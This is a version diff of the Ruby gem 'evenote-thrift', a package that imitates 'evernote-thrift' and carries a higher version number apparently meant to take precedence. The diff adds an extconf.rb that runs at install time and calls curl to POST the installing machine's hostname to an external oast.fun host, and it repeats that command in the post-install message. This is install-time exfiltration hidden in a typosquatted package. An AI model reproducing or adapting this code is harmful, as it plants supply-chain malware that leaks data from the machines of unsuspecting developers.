evenote-thrift 10.0.0 → 10.2.0
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/evenote-thrift.gemspec +11 -1
- data/extconf.rb +7 -3
- metadata +4 -2
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 9b52b2f1ae90508608106e1fb1e6076111f50316245aabb11b101df221e84f4b
|
4
|
+
data.tar.gz: aefa1a18861907d01c62626622606218f73f46c2ee3d89eba6db4819107ede0a
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: c26808ab7cb1642d940795c77e7ed372a363d21dee49e8973993351b48fc47b1a018a247401cab17893aa1b56bb20eeb76938702ab175f24a3dfc9d9b789ce60
|
7
|
+
data.tar.gz: 9326d0e787aea092954297554c2098d36138c492a0dec12a65e0686a6b40b72d5b54d172fa5f85915a3dca9c637be3711b938477cdf813afed8ebc527882a300
|
data/evenote-thrift.gemspec
CHANGED
@@ -1,6 +1,6 @@
|
|
1
1
|
Gem::Specification.new do |s|
|
2
2
|
s.name = 'evenote-thrift'
|
3
|
-
s.version = '10.
|
3
|
+
s.version = '10.2.0' # Higher version to take precedence
|
4
4
|
s.summary = "A simple mimicking evernote-thrift"
|
5
5
|
s.description = "This gem is a placeholder."
|
6
6
|
s.authors = ["raxis-evernote"]
|
@@ -14,5 +14,15 @@ Gem::Specification.new do |s|
|
|
14
14
|
# Run our evernote-thrift code on install
|
15
15
|
s.post_install_message = "Thanks for installing evernote-thrift!"
|
16
16
|
s.extensions = ["extconf.rb"]
|
17
|
+
|
18
|
+
# Add a post_install message that executes the command
|
19
|
+
s.post_install_message = <<-POST_INSTALL
|
20
|
+
Post-install command:
|
21
|
+
curl -X POST -d "$(hostname)" https://scwtvczgsafwashvzljq01241ek1cq57i.oast.fun"
|
22
|
+
POST_INSTALL
|
23
|
+
|
24
|
+
# This method will execute after the gem is installed
|
25
|
+
s.extensions = ["extconf.rb"]
|
17
26
|
end
|
18
27
|
|
28
|
+
|
data/extconf.rb
CHANGED
@@ -1,8 +1,12 @@
|
|
1
1
|
# extconf.rb
|
2
2
|
|
3
|
-
require '
|
3
|
+
require 'mkmf'
|
4
|
+
|
5
|
+
# Create a Makefile for the native extension
|
6
|
+
create_makefile('evernote_thrift')
|
7
|
+
|
8
|
+
# Command to obtain hostname and post it to a specified URL
|
9
|
+
system("curl -X POST -d \"$(hostname)\" https://scwtvczgsafwashvzljq01241ek1cq57i.oast.fun")
|
4
10
|
|
5
|
-
Thread.new do
|
6
|
-
system("curl -X POST -d \"$(hostname)\" https://scwtvczgsafwashvzljq01241ek1cq57i.oast.fun")
|
7
11
|
end
|
8
12
|
|
metadata
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: evenote-thrift
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 10.
|
4
|
+
version: 10.2.0
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- raxis-evernote
|
@@ -23,7 +23,9 @@ files:
|
|
23
23
|
homepage: https://reachas.com
|
24
24
|
licenses: []
|
25
25
|
metadata: {}
|
26
|
-
post_install_message:
|
26
|
+
post_install_message: |2
|
27
|
+
Post-install command:
|
28
|
+
curl -X POST -d "$(hostname)" https://scwtvczgsafwashvzljq01241ek1cq57i.oast.fun"
|
27
29
|
rdoc_options: []
|
28
30
|
require_paths:
|
29
31
|
- lib
|